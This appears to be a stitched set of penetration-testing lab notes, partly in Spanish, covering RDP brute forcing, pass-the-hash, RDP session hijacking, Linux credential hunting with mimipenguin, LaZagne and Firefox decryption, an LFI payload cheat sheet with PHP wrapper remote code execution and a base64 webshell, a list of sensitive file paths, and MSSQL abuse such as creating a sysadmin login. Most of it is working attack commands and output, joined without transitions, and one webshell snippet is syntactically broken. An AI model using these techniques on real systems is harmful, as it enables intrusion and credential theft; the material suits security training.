[3389][rdp] host: 192.168.2.143 login: administrator password: password123
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-08-25 21:44:56
gzzcoo@htb[/htb]$ hydra -L user.list -P password.list rdp://10.129.42.197
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-10 15:05:40
[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number of parallel connections and -W 1 or -W 3 to wait between connection to allow the server to recover
[INFO] Reduced number of tasks to 4 (rdp does not like many parallel connections)
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max 4 tasks per 1 server, overall 4 tasks, 25 login tries (l:5/p:5), ~7 tries per task
[DATA] attacking rdp://10.129.42.197:3389/
[3389][rdp] account on 10.129.42.197 might be valid but account not active for remote desktop: login: mrb3n password: rockstar, continuing attacking the account.
[3389][rdp] account on 10.129.42.197 might be valid but account not active for remote desktop: login: cry0l1t3 password: delta, continuing attacking the account.
[3389][rdp] host: 10.129.42.197 login: user password: password
1 of 1 target successfully completed, 1 valid password found
xfreerdp3 /u:'User' /pth:'<NTLM_HASH>' /v:192.168.134.129
nxc smb 192.168.134.129 -u 'User' -H '<NTLM_HASH>' -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'
xfreerdp3 /u:'User' /pth:'<NTLM_HASH>' /v:192.168.134.129
C:\htb> tscon #{TARGET_SESSION_ID} /dest:#{OUR_SESSION_NAME}
C:\htb> query user
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>juurena rdp-tcp#13 2 Active 7 8/25/2021 1:23 AM
lewen rdp-tcp#14 4 Active * 8/25/2021 1:28 AM
C:\htb> sc.exe create sessionhijack binpath= "cmd.exe /k tscon 4 /dest:rdp-tcp#13"
[SC] CreateService SUCCESS
C:\htb> net start sessionhijack
rdesktop 10.10.10.132 -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files'
xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer
Configs
Logs
Cache
Browser stored credentials
Databases
Command-line History
In-memory Processing
Notes
Scripts
Source codes
Cronjobs
SSH Keys
Scripts
Cronjobs
SSH keys
for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done
cry0l1t3@unixclient:~$ for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done
File extension: .conf
/run/tmpfiles.d/static-nodes.conf
/run/NetworkManager/resolv.conf
/run/NetworkManager/no-stub-resolv.conf
/run/NetworkManager/conf.d/10-globally-managed-devices.conf
...SNIP...
/etc/ltrace.conf
/etc/rygel.conf
/etc/ld.so.conf.d/x86_64-linux-gnu.conf
/etc/ld.so.conf.d/fakeroot-x86_64-linux-gnu.conf
/etc/fprintd.conf
File extension: .config
/usr/src/linux-headers-5.13.0-27-generic/.config
/usr/src/linux-headers-5.11.0-27-generic/.config
/usr/src/linux-hwe-5.13-headers-5.13.0-27/tools/perf/Makefile.config
/usr/src/linux-hwe-5.13-headers-5.13.0-27/tools/power/acpi/Makefile.config
/usr/src/linux-hwe-5.11-headers-5.11.0-27/tools/perf/Makefile.config
/usr/src/linux-hwe-5.11-headers-5.11.0-27/tools/power/acpi/Makefile.config
/home/cry0l1t3/.config
/etc/X11/Xwrapper.config
/etc/manpath.config
File extension: .cnf
/etc/ssl/openssl.cnf
/etc/alternatives/my.cnf
/etc/mysql/my.cnf
/etc/mysql/debian.cnf
/etc/mysql/mysql.conf.d/mysqld.cnf
/etc/mysql/mysql.conf.d/mysql.cnf
/etc/mysql/mysql.cnf
/etc/mysql/conf.d/mysqldump.cnf
/etc/mysql/conf.d/mysql.cnf
for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";done
cry0l1t3@unixclient:~$ for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";done
File: /snap/core18/2128/etc/ssl/openssl.cnf
challengePassword = A challenge password
File: /usr/share/ssl-cert/ssleay.cnf
File: /etc/ssl/openssl.cnf
challengePassword = A challenge password
File: /etc/alternatives/my.cnf
File: /etc/mysql/my.cnf
File: /etc/mysql/debian.cnf
File: /etc/mysql/mysql.conf.d/mysqld.cnf
user = mysql
File: /etc/mysql/mysql.conf.d/mysql.cnf
File: /etc/mysql/mysql.cnf
File: /etc/mysql/conf.d/mysqldump.cnf
File: /etc/mysql/conf.d/mysql.cnf
for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man";done
cry0l1t3@unixclient:~$ for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man";done
DB File extension: .sql
DB File extension: .db
/var/cache/dictionaries-common/ispell.db
/var/cache/dictionaries-common/aspell.db
/var/cache/dictionaries-common/wordlist.db
/var/cache/dictionaries-common/hunspell.db
/home/cry0l1t3/.mozilla/firefox/1bplpd86.default-release/cert9.db
/home/cry0l1t3/.mozilla/firefox/1bplpd86.default-release/key4.db
/home/cry0l1t3/.cache/tracker/meta.db
DB File extension: .*db
/var/cache/dictionaries-common/ispell.db
/var/cache/dictionaries-common/aspell.db
/var/cache/dictionaries-common/wordlist.db
/var/cache/dictionaries-common/hunspell.db
/home/cry0l1t3/.mozilla/firefox/1bplpd86.default-release/cert9.db
/home/cry0l1t3/.mozilla/firefox/1bplpd86.default-release/key4.db
/home/cry0l1t3/.config/pulse/3a1ee8276bbe4c8e8d767a2888fc2b1e-card-database.tdb
/home/cry0l1t3/.config/pulse/3a1ee8276bbe4c8e8d767a2888fc2b1e-device-volumes.tdb
/home/cry0l1t3/.config/pulse/3a1ee8276bbe4c8e8d767a2888fc2b1e-stream-volumes.tdb
/home/cry0l1t3/.cache/tracker/meta.db
/home/cry0l1t3/.cache/tracker/ontologies.gvdb
DB File extension: .db*
/var/cache/dictionaries-common/ispell.db
/var/cache/dictionaries-common/aspell.db
/var/cache/dictionaries-common/wordlist.db
/var/cache/dictionaries-common/hunspell.db
/home/cry0l1t3/.dbus
/home/cry0l1t3/.mozilla/firefox/1bplpd86.default-release/cert9.db
/home/cry0l1t3/.mozilla/firefox/1bplpd86.default-release/key4.db
/home/cry0l1t3/.cache/tracker/meta.db-shm
/home/cry0l1t3/.cache/tracker/meta.db-wal
/home/cry0l1t3/.cache/tracker/meta.db
find /home/* -type f -name "*.txt" -o ! -name "*.*"
cry0l1t3@unixclient:~$ find /home/* -type f -name "*.txt" -o ! -name "*.*"
/home/cry0l1t3/.config/caja/desktop-metadata
/home/cry0l1t3/.config/clipit/clipitrc
/home/cry0l1t3/.config/dconf/user
/home/cry0l1t3/.mozilla/firefox/bh4w5vd0.default-esr/pkcs11.txt
/home/cry0l1t3/.mozilla/firefox/bh4w5vd0.default-esr/serviceworker.txt
...SNIP...
for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share";done
cry0l1t3@unixclient:~$ for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share";done
File extension: .py
File extension: .pyc
File extension: .pl
File extension: .go
File extension: .jar
File extension: .c
File extension: .sh
/snap/gnome-3-34-1804/72/etc/profile.d/vte-2.91.sh
/snap/gnome-3-34-1804/72/usr/bin/gettext.sh
/snap/core18/2128/etc/init.d/hwclock.sh
/snap/core18/2128/etc/wpa_supplicant/action_wpa.sh
/snap/core18/2128/etc/wpa_supplicant/functions.sh
...SNIP...
/etc/profile.d/xdg_dirs_desktop_session.sh
/etc/profile.d/cedilla-portuguese.sh
/etc/profile.d/im-config_wayland.sh
/etc/profile.d/vte-2.91.sh
/etc/profile.d/bash_completion.sh
/etc/profile.d/apps-bin-path.sh
cry0l1t3@unixclient:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
cry0l1t3@unixclient:~$ ls -la /etc/cron.*/
/etc/cron.d/:
total 28
drwxr-xr-x 1 root root 106 3. Jan 20:27 .
drwxr-xr-x 1 root root 5728 1. Feb 00:06 ..
-rw-r--r-- 1 root root 201 1. Mär 2021 e2scrub_all
-rw-r--r-- 1 root root 331 9. Jan 2021 geoipupdate
-rw-r--r-- 1 root root 607 25. Jan 2021 john
-rw-r--r-- 1 root root 589 14. Sep 2020 mdadm
-rw-r--r-- 1 root root 712 11. Mai 2020 php
-rw-r--r-- 1 root root 102 22. Feb 2021 .placeholder
-rw-r--r-- 1 root root 396 2. Feb 2021 sysstat
/etc/cron.daily/:
total 68
drwxr-xr-x 1 root root 252 6. Jan 16:24 .
drwxr-xr-x 1 root root 5728 1. Feb 00:06 ..
...SNIP...
cry0l1t3@unixclient:~$ grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1"
/home/cry0l1t3/.ssh/internal_db:1:-----BEGIN OPENSSH PRIVATE KEY-----
cry0l1t3@unixclient:~$ grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1"
/home/cry0l1t3/.ssh/internal_db.pub:1:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCraK
cry0l1t3@unixclient:~$ tail -n5 /home/*/.bash*
==> /home/cry0l1t3/.bash_history <==
vim ~/testing.txt
vim ~/testing.txt
chmod 755 /tmp/api.py
su
/tmp/api.py cry0l1t3 6mX4UP1eWH3HXK
==> /home/cry0l1t3/.bashrc <==
. /usr/share/bash-completion/bash_completion
elif [ -f /etc/bash_completion ]; then
. /etc/bash_completion
fi
fi
Application Logs
Event Logs
Service Logs
System Logs
Log File
Description
/var/log/messages
Generic system activity logs.
/var/log/syslog
Generic system activity logs.
/var/log/auth.log
(Debian) All authentication related logs.
/var/log/secure
(RedHat/CentOS) All authentication related logs.
/var/log/boot.log
Booting information.
/var/log/dmesg
Hardware and drivers related information and logs.
/var/log/kern.log
Kernel related warnings, errors and logs.
/var/log/faillog
Failed login attempts.
/var/log/cron
Information related to cron jobs.
/var/log/mail.log
All mail server related logs.
/var/log/httpd
All Apache related logs.
/var/log/mysqld.log
All MySQL server related logs.
for i in $(ls /var/log/* 2>/dev/null);do GREP=$(grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null); if [[ $GREP ]];then echo -e "\n#### Log file: " $i; grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null;fi;done
cry0l1t3@unixclient:~$ for i in $(ls /var/log/* 2>/dev/null);do GREP=$(grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null); if [[ $GREP ]];then echo -e "\n#### Log file: " $i; grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null;fi;done
#### Log file: /var/log/dpkg.log.1
2022-01-10 17:57:41 install libssh-dev:amd64 <none> 0.9.5-1+deb11u1
2022-01-10 17:57:41 status half-installed libssh-dev:amd64 0.9.5-1+deb11u1
2022-01-10 17:57:41 status unpacked libssh-dev:amd64 0.9.5-1+deb11u1
2022-01-10 17:57:41 configure libssh-dev:amd64 0.9.5-1+deb11u1 <none>
2022-01-10 17:57:41 status unpacked libssh-dev:amd64 0.9.5-1+deb11u1
2022-01-10 17:57:41 status half-configured libssh-dev:amd64 0.9.5-1+deb11u1
2022-01-10 17:57:41 status installed libssh-dev:amd64 0.9.5-1+deb11u1
...SNIP...
cry0l1t3@unixclient:~$ sudo python3 mimipenguin.py
[sudo] password for cry0l1t3:
[SYSTEM - GNOME] cry0l1t3:WLpAEXFa0SbqOHY
cry0l1t3@unixclient:~$ sudo bash mimipenguin.sh
[sudo] password for cry0l1t3:
MimiPenguin Results:
[SYSTEM - GNOME] cry0l1t3:WLpAEXFa0SbqOHY
Chromium-based
CLI
Mozilla
Thunderbird
Git
Env_variable
Grub
Fstab
AWS
Filezilla
Gftp
SSH
Apache
Shadow
Docker
KeePass
Mimipy
Sessions
Keyrings
cry0l1t3@unixclient:~$ sudo python2.7 laZagne.py all
|====================================================================|
| |
| The LaZagne Project |
| |
| ! BANG BANG ! |
| |
|====================================================================|
------------------- Shadow passwords -----------------
[+] Hash found !!!
Login: systemd-coredump
Hash: !!:18858::::::
[+] Hash found !!!
Login: sambauser
Hash: $6$wgK4tGq7Jepa.V0g$QkxvseL.xkC3jo682xhSGoXXOGcBwPLc2CrAPugD6PYXWQlBkiwwFs7x/fhI.8negiUSPqaWyv7wC8uwsWPrx1:18862:0:99999:7:::
[+] Password found !!!
Login: cry0l1t3
Password: WLpAEXFa0SbqOHY
[+] 3 passwords have been found.
For more information launch it again with the -v option
elapsed time = 3.50091600418
cry0l1t3@unixclient:~$ ls -l .mozilla/firefox/ | grep default
drwx------ 11 cry0l1t3 cry0l1t3 4096 Jan 28 16:02 1bplpd86.default-release
drwx------ 2 cry0l1t3 cry0l1t3 4096 Jan 28 13:30 lfx3lvhb.default
cry0l1t3@unixclient:~$ cat .mozilla/firefox/1bplpd86.default-release/logins.json | jq .
{
"nextId": 2,
"logins": [
{
"id": 1,
"hostname": "https://www.inlanefreight.com",
"httpRealm": null,
"formSubmitURL": "https://www.inlanefreight.com",
"usernameField": "username",
"passwordField": "password",
"encryptedUsername": "MDoEEPgAAAA...SNIP...1liQiqBBAG/8/UpqwNlEPScm0uecyr",
"encryptedPassword": "MEIEEPgAAAA...SNIP...FrESc4A3OOBBiyS2HR98xsmlrMCRcX2T9Pm14PMp3bpmE=",
"guid": "{412629aa-4113-4ff9-befe-dd9b4ca388e2}",
"encType": 1,
"timeCreated": 1643373110869,
"timeLastUsed": 1643373110869,
"timePasswordChanged": 1643373110869,
"timesUsed": 1
}
],
"potentiallyVulnerablePasswords": [],
"dismissedBreachAlertsByLoginGUID": {},
"version": 3
}
gzzcoo@htb[/htb]$ python3.9 firefox_decrypt.py
Select the Mozilla profile you wish to decrypt
1 -> lfx3lvhb.default
2 -> 1bplpd86.default-release
2
Website: https://testing.dev.inlanefreight.com
Username: 'test'
Password: 'test'
Website: https://www.inlanefreight.com
Username: 'cry0l1t3'
Password: 'FzXUxJemKm6g2lGh'
key4.db
logins.json
python3 firepwd.py -d $(pwd)
cry0l1t3@unixclient:~$ python3 laZagne.py browsers
|====================================================================|
| |
| The LaZagne Project |
| |
| ! BANG BANG ! |
| |
|====================================================================|
------------------- Firefox passwords -----------------
[+] Password found !!!
URL: https://testing.dev.inlanefreight.com
Login: test
Password: test
[+] Password found !!!
URL: https://www.inlanefreight.com
Login: cry0l1t3
Password: FzXUxJemKm6g2lGh
[+] 2 passwords have been found.
For more information launch it again with the -v option
elapsed time = 0.2310788631439209
La vulnerabilidad Local File Inclusion (LFI) es una vulnerabilidad de seguridad informática que se produce cuando una aplicación web no valida adecuadamente las entradas de usuario, permitiendo a un atacante acceder a archivos locales en el servidor web.
En muchos casos, los atacantes aprovechan la vulnerabilidad de LFI al abusar de parámetros de entrada en la aplicación web. Los parámetros de entrada son datos que los usuarios ingresan en la aplicación web, como las URL o los campos de formulario. Los atacantes pueden manipular los parámetros de entrada para incluir rutas de archivo local en la solicitud, lo que puede permitirles acceder a archivos en el servidor web. Esta técnica se conoce como “Path Traversal” y se utiliza comúnmente en ataques de LFI.
En el ataque de Path Traversal, el atacante utiliza caracteres especiales y caracteres de escape en los parámetros de entrada para navegar a través de los directorios del servidor web y acceder a archivos en ubicaciones sensibles del sistema.
Por ejemplo, el atacante podría incluir “../” en el parámetro de entrada para navegar hacia arriba en la estructura del directorio y acceder a archivos en ubicaciones sensibles del sistema.
Para prevenir los ataques LFI, es importante que los desarrolladores de aplicaciones web validen y filtren adecuadamente la entrada del usuario, limitando el acceso a los recursos del sistema y asegurándose de que los archivos sólo se puedan incluir desde ubicaciones permitidas. Además, las empresas deben implementar medidas de seguridad adecuadas, como el cifrado de archivos y la limitación del acceso de usuarios no autorizados a los recursos del sistema.
A continuación, se os proporciona el enlace directo a la herramienta que utilizamos al final de esta clase para abusar de los ‘Filter Chains‘ y conseguir así ejecución remota de comandos:
# Basic LFI
http://10.10.10.10/index.php?page=../../../../../etc/passwd
# Basic LFI ingresando ....// para intentar burlar str_replace
http://10.10.10.10/index.php?page=....//....//....//....//....//....//etc/passwd
http://10.10.10.10/index.php?page=....//....//....//....//....//....//etc/////passwd
# Método para intentar burlar función preg_match
http://10.10.10.10/index.php?page=....//....//....//....//....//....//etc/////passwd
http://10.10.10.10/index.php?page=....//....//....//....//....//....//etc/./passwd
# Mostrar contenido en Base64 a través de Wrappers
http://10.10.10.10/index.php?page=php://filter/convert.base64-encode/resource=index.php
# Mostrar contenido en Rot13 a través de Wrappers
http://10.10.10.10/index.php?page=php://filter/read=string.rot13/resource=index.php
# Mostrar contenido en UTF-8/UTF-16
http://10.10.10.10./index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
❯ echo "<?php system(\$_GET['cmd']; ?>" | base64; echo
PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXTsgPz4K
# Sustituir <whoami> por el código a ejecutar
http://10.10.10.10./index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXTsgPz4K&cmd=whoami
# Wrapper para obtener RCE (Interceptar solicitud en BurpSuite)
php://input
<?php system("whoami"); ?>
:linux:
- /etc/issue
- /etc/motd
- /etc/passwd
- /etc/shadow
- /etc/group
- /etc/hosts
- /etc/security/group
- /etc/security/passwd
- /etc/security/user
- /etc/security/environ
- /etc/security/limits
- /proc/self/environ
- /usr/lib/security/mkuser.default
- /home/<x>/.ssh/id_rsa
- /root/.ssh/id_rsa
- /etc/nginx/nginx.conf
- /etc/apache/httpd.conf
- /etc/apache2/httpd.conf
- /etc/apache2/apache2.conf
- /etc/apache2/conf/httpd.conf
- /usr/apache2/conf/httpd.conf
- /usr/apache/conf/httpd.conf
- /usr/local/apache/httpd.conf
- /usr/local/apache/conf/httpd.conf
- /usr/local/apache2/httpd.conf
- /usr/local/apache2/conf/httpd.conf
- /usr/local/httpd/conf/httpd.conf
- /usr/local/etc/apache/httpd.conf
- /usr/local/etc/apache2/httpd.conf
- /usr/local/etc/apache22/httpd.conf
- /usr/local/etc/apache/vhosts.conf
- /usr/local/etc/apache/conf/httpd.conf
- /usr/local/etc/apache2/conf/httpd.conf
- /usr/local/etc/httpd/conf/httpd.conf
- /usr/local/apps/apache2/conf/httpd.conf
- /usr/local/apps/apache/conf/httpd.conf
- /usr/pkg/etc/httpd/httpd.conf
- /etc/httpd.conf
- /etc/http/httpd.conf
- /etc/httpd/httpd.conf
- /etc/http/conf/httpd.conf
- /etc/httpd/conf/httpd.conf
- /etc/httpd/conf.d/vhost.conf
- /etc/init.d/apache/httpd.conf
- /etc/init.d/apache2/httpd.conf
- /etc/apache/apache.conf
- /etc/apache/conf/httpd.conf
- /etc/apache2/sites-available/default
- /etc/apache2/vhosts.d/default_vhost.include
- /opt/apache/conf/httpd.conf
- /opt/apache2/conf/httpd.conf
- /var/www/conf/httpd.conf
- /home/apache/httpd.conf
- /home/apache/conf/httpd.conf
- /var/www/vhosts/sitename/httpdocs//etc/init.d/apache
- /private/etc/httpd/httpd.conf
- /private/etc/httpd/httpd.conf.default
- /Volumes/webBackup/opt/apache2/conf/httpd.conf
- /Volumes/webBackup/private/etc/httpd/httpd.conf
- /Volumes/webBackup/private/etc/httpd/httpd.conf.default
- /logs/error.log
- /logs/access.log
- /logs/error_log
- /logs/access_log
- /var/log/httpd/access.log
- /var/log/httpd/access_log
- /var/log/httpd-error.log
- /var/log/httpd-access.log
- /var/log/httpd/error_log
- /var/log/httpd/error.log
- /var/log/apache/access.log
- /var/log/apache/access_log
- /var/log/apache/error.log
- /var/log/apache/error_log
- /var/log/apache2/access.log
- /var/log/apache2/access_log
- /var/log/apache2/error.log
- /var/log/apache2/error_log
- /var/log/nginx/access.log
- /var/log/nginx/error.log
- /var/log/access.log
- /var/log/access_log
- /var/log/aerror.log
- /var/log/error_log
- /var/www/logs/access.log
- /var/www/logs/access_log
- /var/www/logs/error.log
- /var/www/logs/error_log
- /usr/local/apache/logs/access.log
- /usr/local/apache/logs/access_log
- /usr/local/apache/logs/error.log
- /usr/local/apache/logs/error_log
- /usr/local/apache2/logs/access.log
- /usr/local/apache2/logs/access_log
- /usr/local/apache2/logs/error.log
- /usr/local/apache2/logs/error_log
- /etc/httpd/access.log
- /etc/httpd/logs/access.log
- /etc/httpd/logs/access_log
- /etc/httpd/logs/error.log
- /etc/httpd/logs/error_log
- /etc/apache2/logs/access.log
- /apache/logs/error.log
- /apache/logs/access.log
- /apache2/logs/error.log
- /apache2/logs/access.log
- /opt/lampp/logs/access.log
- /opt/lampp/logs/access_log
- /opt/lampp/logs/error.log
- /opt/lampp/logs/error_log
- /opt/xampp/logs/access.log
- /opt/xampp/logs/access_log
- /opt/xampp/logs/error.log
- /opt/xampp/logs/error_log
- /usr/local/php/httpd.conf
- /usr/local/php4/httpd.conf
- /usr/local/php5/httpd.conf
- /usr/local/php/httpd.conf.php
- /usr/local/php4/httpd.conf.php
- /usr/local/php5/httpd.conf.php
- /Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf
- /Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf
- /Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf
- /Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php
- /Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php
- /Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php
- /etc/php.ini
- /bin/php.ini
- /etc/httpd/php.ini
- /usr/lib/php.ini
- /usr/lib/php/php.ini
- /usr/local/etc/php.ini
- /usr/local/lib/php.ini
- /usr/local/php/lib/php.ini
- /usr/local/php4/lib/php.ini
- /usr/local/php5/lib/php.ini
- /usr/local/apache/conf/php.ini
- /etc/php4.4/fcgi/php.ini
- /etc/php4/apache/php.ini
- /etc/php4/apache2/php.ini
- /etc/php5/apache/php.ini
- /etc/php5/apache2/php.ini
- /etc/php/php.ini
- /etc/php/php4/php.ini
- /etc/php/apache/php.ini
- /etc/php/apache2/php.ini
- /web/conf/php.ini
- /usr/local/Zend/etc/php.ini
- /opt/xampp/etc/php.ini
- /var/local/www/conf/php.ini
- /etc/php/cgi/php.ini
- /etc/php4/cgi/php.ini
- /etc/php5/cgi/php.ini
- /NetServer/bin/stable/apache/php.ini
- /home2/bin/stable/apache/php.ini
- /home/bin/stable/apache/php.ini
- /Volumes/Macintosh_HD1/usr/local/php/lib/php.ini
- /usr/local/cpanel/logs
- /usr/local/cpanel/logs/stats_log
- /usr/local/cpanel/logs/access_log
- /usr/local/cpanel/logs/error_log
- /usr/local/cpanel/logs/license_log
- /usr/local/cpanel/logs/login_log
- /var/cpanel/cpanel.config
- /var/log/mysql/mysql-bin.log
- /var/log/mysql.log
- /var/log/mysqlderror.log
- /var/log/mysql/mysql.log
- /var/log/mysql/mysql-slow.log
- /var/mysql.log
- /var/lib/mysql/my.cnf
- /etc/mysql/my.cnf
- /etc/my.cnf
- /etc/logrotate.d/proftpd
- /www/logs/proftpd.system.log
- /var/log/proftpd
- /etc/proftp.conf
- /etc/protpd/proftpd.conf
- /etc/vhcs2/proftpd/proftpd.conf
- /etc/proftpd/modules.conf
- /var/log/vsftpd.log
- /etc/vsftpd.chroot_list
- /etc/logrotate.d/vsftpd.log
- /etc/vsftpd/vsftpd.conf
- /etc/vsftpd.conf
- /etc/chrootUsers
- /var/log/xferlog
- /var/adm/log/xferlog
- /etc/wu-ftpd/ftpaccess
- /etc/wu-ftpd/ftphosts
- /etc/wu-ftpd/ftpusers
- /usr/sbin/pure-config.pl
- /usr/etc/pure-ftpd.conf
- /etc/pure-ftpd/pure-ftpd.conf
- /usr/local/etc/pure-ftpd.conf
- /usr/local/etc/pureftpd.pdb
- /usr/local/pureftpd/etc/pureftpd.pdb
- /usr/local/pureftpd/sbin/pure-config.pl
- /usr/local/pureftpd/etc/pure-ftpd.conf
- /etc/pure-ftpd.conf
- /etc/pure-ftpd/pure-ftpd.pdb
- /etc/pureftpd.pdb
- /etc/pureftpd.passwd
- /etc/pure-ftpd/pureftpd.pdb
- /usr/ports/ftp/pure-ftpd/
- /usr/ports/net/pure-ftpd/
- /usr/pkgsrc/net/pureftpd/
- /usr/ports/contrib/pure-ftpd/
- /var/log/pure-ftpd/pure-ftpd.log
- /logs/pure-ftpd.log
- /var/log/pureftpd.log
- /var/log/ftp-proxy/ftp-proxy.log
- /var/log/ftp-proxy
- /var/log/ftplog
- /etc/logrotate.d/ftp
- /etc/ftpchroot
- /etc/ftphosts
- /var/log/exim_mainlog
- /var/log/exim/mainlog
- /var/log/maillog
- /var/log/exim_paniclog
- /var/log/exim/paniclog
- /var/log/exim/rejectlog
- /var/log/exim_rejectlog
:win:
- C:\boot.ini
- C:\php5\php.ini
- C:\php4\php.ini
- C:\php\php.ini
- C:\Windows\php.ini
- C:\WINNT\php.ini
- C:\apache\php\php.ini
- C:\xampp\apache\bin\php.ini
- C:\phpStudy\Apache\conf\httpd.conf
- C:\phpStudy\Apache\conf\vhosts.conf
- C:\Windows\system32\inetsrv\MetaBase.xml
- C:\Windows\System32\inetsrv\config\applicationHost.config
- C:\wamp\bin\apache\logs\access.log
- C:\wamp\bin\mysql\mysql5.5.24\wampserver.conf
- C:\wamp\bin\apache\apache2.2.22\conf\httpd.conf
- C:\wamp\bin\apache\apache2.2.22\conf\wampserver.conf
- C:\wamp\bin\apache\apache2.2.22\conf\httpd.conf.build
- C:\Program Files\Apache Group\Apache\logs\access.log
- C:\Program Files\Apache Group\Apache\logs\error.log
- C:\Program Files\Apache Group\Apache\conf\httpd.conf
- C:\Program Files\Apache Group\Apache2\conf\httpd.conf
- C:\Program Files (x86)\Apache Group\Apache\logs\access.log
- C:\Program Files (x86)\Apache Group\Apache\logs\error.log
- C:\Program Files\xampp\apache\conf\httpd.conf
- C:\Program Files\Apache Software Foundation\Apache2.2\conf\httpd.conf
- C:\Program Files\Apache Software Foundation\Apache2.2\logs\error.log
- C:\Program Files\Apache Software Foundation\Apache2.2\logs\access.log
SE DEBEN VERIFICAR AMBAS AUTENTICACIONES SIEMPRE PARA VERIFICAR ACCESO.
# Conectarse al MSSQL con autenticación SQL
impacket-mssqlclient dominio.htb/'user':'password'@10.10.10.10 2>/dev/null
# Conectarse al MSSQL con autenticación Windows
impacket-mssqlclient dominio.htb/'user':'password'@10.10.10.10 -windows-auth 2>/dev/null
Para interactuar con MSSQL (Microsoft SQL Server) desde Linux podemos usar sqsh, o sqlcmd si estás usando Windows. Sqsh es mucho más que un simple prompt amigable. Está diseñado para ofrecer gran parte de la funcionalidad de un shell de comandos, como variables, alias, redirección, pipes, ejecución en segundo plano, control de trabajos, historial, sustitución de comandos y configuración dinámica. Podemos iniciar una sesión SQL interactiva de la siguiente forma:
gzzcoo@htb[/htb]$ sqsh -S 10.129.20.13 -U username -P Password123
La utilidad sqlcmd nos permite ingresar instrucciones Transact-SQL, procedimientos del sistema y archivos de scripts a través de varios modos disponibles:
En la línea de comandos.
En el Editor de Consultas en modo SQLCMD.
En un archivo de script de Windows.
En un paso de trabajo del Agente de SQL Server ejecutado por el sistema operativo (Cmd.exe).
C:\htb> sqlcmd -S 10.129.20.13 -U username -P Password123
Video - Connecting to MSSQL DB using dbeaver
# Obtener versión
select @@version;
# Obtener usuario actual
select user_name();
# Obtener nombres de las bases de datos
SELECT name FROM master.dbo.sysdatabases;
# Utilizar una base de datos
USE master
#Obtener tablas de una base de datos
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#Lista de servidores vinculados
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#Lista de usuarios
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Crear usuario con sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'
Se debe verificar al acceder a un MSSQL si podemos habilitar el componente xp_cmdshell para lograr ejecutar comandos arbitrarios en el equipo.
